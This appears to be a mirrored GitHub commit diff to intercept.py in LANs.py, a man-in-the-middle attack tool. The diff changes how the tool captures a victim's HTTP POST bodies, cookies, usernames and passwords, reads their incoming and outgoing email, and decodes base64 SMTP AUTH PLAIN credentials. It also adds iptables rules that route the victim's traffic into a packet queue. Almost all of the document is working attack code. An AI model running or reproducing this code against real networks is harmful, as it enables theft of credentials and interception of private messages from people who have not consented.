mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 21:12:12 -07:00
fixed up incoming/outgoing mail functions
This commit is contained in:
DanMcInerney
parent
d6978fb21f
commit
528eb8dc1a
1 changed files with 165 additions and 110 deletions
231
intercept.py
231
intercept.py
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@ -1,5 +1,12 @@
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#!/usr/bin/python
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'''
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ADD A DICTIONARY OF LOGINS AND PASSWORDS AND ON CTRL-C HAVE IT THROW ALL THE USERNAMES, PASSWORDS, AND SERVER TO OUTPUT
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MAKE DNSSPOOF RELIABLE
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ADD wifi-monitor TO IT IF NO -ip OPTION EXISTS
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MAKE MAILSPY NOT DOUBLE OUTPUT
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'''
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#from logging import getLogger
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import logging
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logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
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@ -68,7 +75,8 @@ class Spoof():
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class Parser():
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headersFound = []
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OheadersFound = []
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IheadersFound = []
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IMAPauth = 0
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IMAPdest = ''
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POPauth = 0
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@ -77,6 +85,7 @@ class Parser():
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IRCnick = ''
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oldack = ''
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oldpkt = ''
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fragged = 0
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def start(self, payload):
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try:
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@ -84,6 +93,22 @@ class Parser():
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pkt = Ether(data)/IP(data)
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except:
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return
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##ADDED FOR TSTING
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# if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP) and pkt[TCP].dport == 80 and pkt[IP].src == victimIP:
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# load = repr(pkt[Raw].load)[1:-1]
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# ack = pkt[TCP].ack
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# if 'POST ' in load:
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# if ack == self.oldack:
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# self.oldpkt = self.oldpkt+load
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# load = self.oldpkt
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# self.fragged = 1
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# else:
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# self.oldpkt = load
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# self.oldack = ack
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# self.fragged = 0
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# print load+'\n'
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# return
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################
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if pkt.haslayer(Raw) and pkt.haslayer(Ether) and pkt.haslayer(TCP):
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dport = pkt[TCP].dport
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sport = pkt[TCP].sport
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@ -96,15 +121,17 @@ class Parser():
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IP_src = pkt[IP].src
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# Can't use repr if we're gzip deflating which will be necessary when code injection is added
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load = repr(pkt[Raw].load)[1:-1]
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mail_ports = [25, 26, 110, 143]
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# Catch fragmented packets only if they're being sent from the victim to a web server
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if dport == 80:
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if dport == 80 or sport in mail_ports or dport in mail_ports:
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if ack == self.oldack:
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self.oldpkt = self.oldpkt+load
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load = self.oldpkt
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self.fragged = 1
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else:
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self.oldpkt = load
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self.oldack = ack
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mail_ports = [25, 26, 110, 143]
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self.fragged = 0
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if dport in mail_ports or sport in mail_ports:
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self.mailspy(load, dport, sport, MAC_dst, IP_dst, IP_src)
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if dport == 6667 or sport == 6667:
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@ -184,21 +211,17 @@ class Parser():
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if 'ocsp' in url:
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print B+'[+] POST: '+W+url
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elif body != '':
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print B+'[+] POST: '+W+url+B+' HTTP POST load:',body+W
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urlsplit = url.split('/')
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url = url[0]+'/'+url[1]
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if self.fragged == 1:
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print B+'[+] POST: '+W+url+B+" Fragmented HTTP POST's combined load: "+body+W
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else:
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print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W
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username = re.findall(user_regex, body)
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password = re.findall(pw_regex, body)
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self.user_pass(username, password)
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self.cookies(host, header_lines)
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# oldack = ack
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# oldurl = url
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# oldhost = host
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# if oldack != ack:
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# oldhttp = None
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# combined_load = None
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# else:
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# oldload = load
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host = None
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get = None
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post = None
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@ -319,9 +342,8 @@ class Parser():
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if dport == 26 or dport == 25:
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self.outgoing(load, body, header_lines, email_headers, IP_src)
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# Find incoming messages
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# if IP_dst == victimIP:
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if sport in [110, 143]:
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self.incoming(headers, body, header_lines, email_headers)
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self.incoming(headers, body, header_lines, email_headers, sport, dport)
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def passwords(self, IP_src, load, dport, IP_dst):
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# Get rid of all the hex at the beginning of the load
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@ -357,105 +379,138 @@ class Parser():
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# This doubles up the outgoing message for some reason. Fix.
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def outgoing(self, headers, body, header_lines, email_headers, IP_src):
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if IP_src == victimIP:
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# if IP_src == victimIP:
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if 'Message-ID' in headers:
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for l in header_lines:
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for x in email_headers:
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if x in l:
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self.headersFound.append(l)
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if len(self.headersFound) > 3:
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self.OheadersFound.append(l)
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if len(self.OheadersFound) > 3 and body != '':
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print O+'[!] OUTGOING MESSAGE'+W
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if args.write:
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logger.write('[!] OUTGOING MESSAGE\n')
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for x in self.headersFound:
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for x in self.OheadersFound:
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print O+' ',x+W
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if args.write:
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logger.write(' '+x+'\n')
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self.headersFound = []
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if body != '':
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try:
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body = body.split(r'\r\n\x')[0]
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except:
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pass
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print O+' Message:',body+W
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except:
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print O+' [!] Could not parse message body'+W
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pass
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if args.write:
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logger.write(' Message:'+body+'\n')
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self.OheadersFound = []
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def incoming(self, headers, body, header_lines, email_headers):
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def incoming(self, headers, body, header_lines, email_headers, sport, dport):
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message = ''
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for l in header_lines:
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for x in email_headers:
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if x in l:
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self.headersFound.append(l)
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if body != '':
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self.IheadersFound.append(l)
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if len(self.IheadersFound) > 3 and body != '':
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if "BODY[TEXT]" not in body:
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try:
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beginning = body.split(r"\r\n")[0]
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message = str(body.split(r"\r\n\r\n", 1)[1:]).replace('[', '', 1)
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message = message.split(beginning)[0][1:]
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beginning = body.split(r"\r\n", 1)[0]
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body1 = body.split(r"\r\n\r\n", 1)[1]
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message = body1.split(beginning)[0][:-8] #get rid of last \r\n\r\n
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except:
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print O+' Couldn\'t format message body:', body+W
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if len(self.headersFound) > 3 and message != '':
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return
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if message != '':
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print O+'[!] INCOMING MESSAGE'+W
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if args.write:
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logger.write('[!] INCOMING MESSAGE\n')
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for x in self.headersFound:
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for x in self.IheadersFound:
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print O+' '+x+W
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if args.write:
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logger.write(' '+x+'\n')
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print O+' Message:', message+W
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print O+' Message: '+message+W
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if args.write:
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logger.write(' Message:'+message+'\n')
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self.headersFound = []
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logger.write(' Message: '+message+'\n')
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self.IheadersFound = []
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def decode(self, load, dport):
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if dport == 26 or dport == 25:
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decoded = ''
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# This can probably be optimized better...
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for i in xrange(0,5):
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if dport == 25 or dport == 26:
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# Sometimes the hex at the beginning of the load goes more than 2 chars past the last \x
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try:
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b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
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b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[i:]
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decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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# Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4
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if '@' in decoded:
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print R+'[!] Decoded:'+decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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else:
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b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[1:]
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decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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if '@' in decoded:
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print R+'[!] Decoded:'+decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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else:
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b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[2:]
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decoded = repr(b64decode(b64str)).replace("'", "").replace(r'\x00', ' ')
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if '@' in decoded:
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print R+'[!] Decoded:'+decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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except:
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pass
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if '@' in decoded:
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print R+'[!] Decoded:'+decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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break
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else:
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continue
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else:
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try:
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b64str = load
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b64str = load[i:]
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decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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if '@' in decoded:
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print R+'[!] Decoded:',decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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else:
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b64str = load[1:]
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decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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if '@' in decoded:
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print R+'[!] Decoded:',decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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else:
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b64str = load[2:]
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decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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if '@' in decoded:
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print R+'[!] Decoded:',decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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except:
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pass
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if '@' in decoded:
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print R+'[!] Decoded:'+decoded+W
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if args.write:
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logger.write('[!] Decoded:'+decoded+'\n')
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break
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else:
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continue
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# if dport == 26 or dport == 25:
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# try:
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# b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")
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# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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# # Sometimes the hex at the beginning of the load goes 2 chars past the last \x and sometimes 3 or 4
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# if '@' in decoded:
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# print R+'[!] Decoded:'+decoded+W
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# if args.write:
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# logger.write('[!] Decoded:'+decoded+'\n')
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# else:
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# b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[1:]
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# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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# if '@' in decoded:
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# print R+'[!] Decoded:'+decoded+W
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# if args.write:
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# logger.write('[!] Decoded:'+decoded+'\n')
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# else:
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# b64str = load.replace("AUTH PLAIN ", "").replace(r"\r\n", "")[2:]
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# decoded = repr(b64decode(b64str)).replace("'", "").replace(r'\x00', ' ')
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# if '@' in decoded:
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# print R+'[!] Decoded:'+decoded+W
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# if args.write:
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# logger.write('[!] Decoded:'+decoded+'\n')
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# except:
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# pass
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# else:
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# try:
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# b64str = load
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# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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# if '@' in decoded:
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# print R+'[!] Decoded:',decoded+W
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# if args.write:
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# logger.write('[!] Decoded:'+decoded+'\n')
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# else:
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# b64str = load[1:]
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# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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# if '@' in decoded:
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# print R+'[!] Decoded:',decoded+W
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# if args.write:
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# logger.write('[!] Decoded:'+decoded+'\n')
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# else:
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# b64str = load[2:]
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# decoded = repr(b64decode(b64str))[1:-1].replace(r'\x00', ' ')
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# if '@' in decoded:
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# print R+'[!] Decoded:',decoded+W
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# if args.write:
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# logger.write('[!] Decoded:'+decoded+'\n')
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# except:
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# pass
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#Wrap the nfqueue object in an IReadDescriptor and run the process_pending function in a .doRead() of the twisted IReadDescriptor
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class Queued(object):
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@ -466,7 +521,7 @@ class Queued(object):
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self.q.set_queue_maxlen(5000)
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reactor.addReader(self)
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self.q.set_mode(nfqueue.NFQNL_COPY_PACKET)
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print '[+] Queue started; waiting for data\n'
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print '[*] Queue started; waiting for data\n'
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def fileno(self):
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return self.q.get_fd()
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def doRead(self):
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@ -520,12 +575,12 @@ class Threads():
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#Print all the variables
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def print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP):
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print "[+] Active interface: " + interface
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print "[+] DHCP server: " + DHCPsrvr
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print "[+] DNS server: " + dnsIP
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print "[+] Local domain: " + local_domain
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print "[+] Router IP: " + routerIP
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print "[+] Client IP: " + victimIP
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print "[*] Active interface: " + interface
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print "[*] DHCP server: " + DHCPsrvr
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print "[*] DNS server: " + dnsIP
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print "[*] Local domain: " + local_domain
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print "[*] Router IP: " + routerIP
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print "[*] Client IP: " + victimIP
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#Enable IP forwarding and flush possibly conflicting iptables rules
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def setup(DN, victimMAC):
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@ -534,12 +589,12 @@ def setup(DN, victimMAC):
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ipf = open('/proc/sys/net/ipv4/ip_forward', 'r+')
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ipf.write('1\n')
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ipf.close()
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print '[+] Enabled IP forwarding'
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print '[*] Enabled IP forwarding'
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os.system('iptables -F')
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os.system('iptables -X')
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os.system('iptables -t nat -F')
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os.system('iptables -t nat -X')
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print '[+] Flushed the firewall'
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print '[*] Flushed the firewall'
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# PREROUTING is a rule that will be needed to be added when code injection is added to this script
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# os.system('iptables -t nat -A PREROUTING -p tcp -s %s -j NFQUEUE' % victimIP)
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# os.system('iptables -t nat -A PREROUTING -p tcp -d %s -j NFQUEUE' % victimIP)
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@ -548,7 +603,7 @@ def setup(DN, victimMAC):
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os.system('iptables -A FORWARD -p tcp -d %s -m multiport --dports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
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os.system('iptables -A FORWARD -p tcp -s %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
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os.system('iptables -A FORWARD -p tcp -d %s -m multiport --sports 21,26,53,80,110,143,6667 -j NFQUEUE' % victimIP)
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print '[+] Forwarded traffic to the queue'
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print '[*] Forwarded traffic to the queue'
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def main():
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#For use in URL_cb, mailspy respectively
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@ -604,7 +659,7 @@ def main():
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else:
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interface = routerRE.group(3)
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print "[+] Checking the DHCP and DNS server addresses..."
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print "[*] Checking the DHCP and DNS server addresses..."
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# DHCP is a pain in the ass to craft
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dhcp = (Ether(dst='ff:ff:ff:ff:ff:ff')/
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IP(src="0.0.0.0",dst="255.255.255.255")/
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@ -640,18 +695,18 @@ def main():
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print_vars(interface, DHCPsrvr, dnsIP, local_domain, routerIP, victimIP)
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try:
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routerMAC = Spoof().originalMAC(routerIP)
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print "[+] Router MAC: " + routerMAC
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print "[*] Router MAC: " + routerMAC
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except:
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exit("[!] Could not get router MAC address")
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try:
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victimMAC = Spoof().originalMAC(victimIP)
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print "[+] Victim MAC: " + victimMAC
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print "[*] Victim MAC: " + victimMAC
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except:
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exit("[!] Could not get victim MAC address")
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if dnsIP != routerIP:
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try:
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dnsMAC = Spoof().originalMAC(dnsIP)
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print "[+] DNS server MAC: " + dnsMAC
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print "[*] DNS server MAC: " + dnsMAC
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except:
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print "[!] Could not get DNS server MAC address"
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if dnsIP == routerIP:
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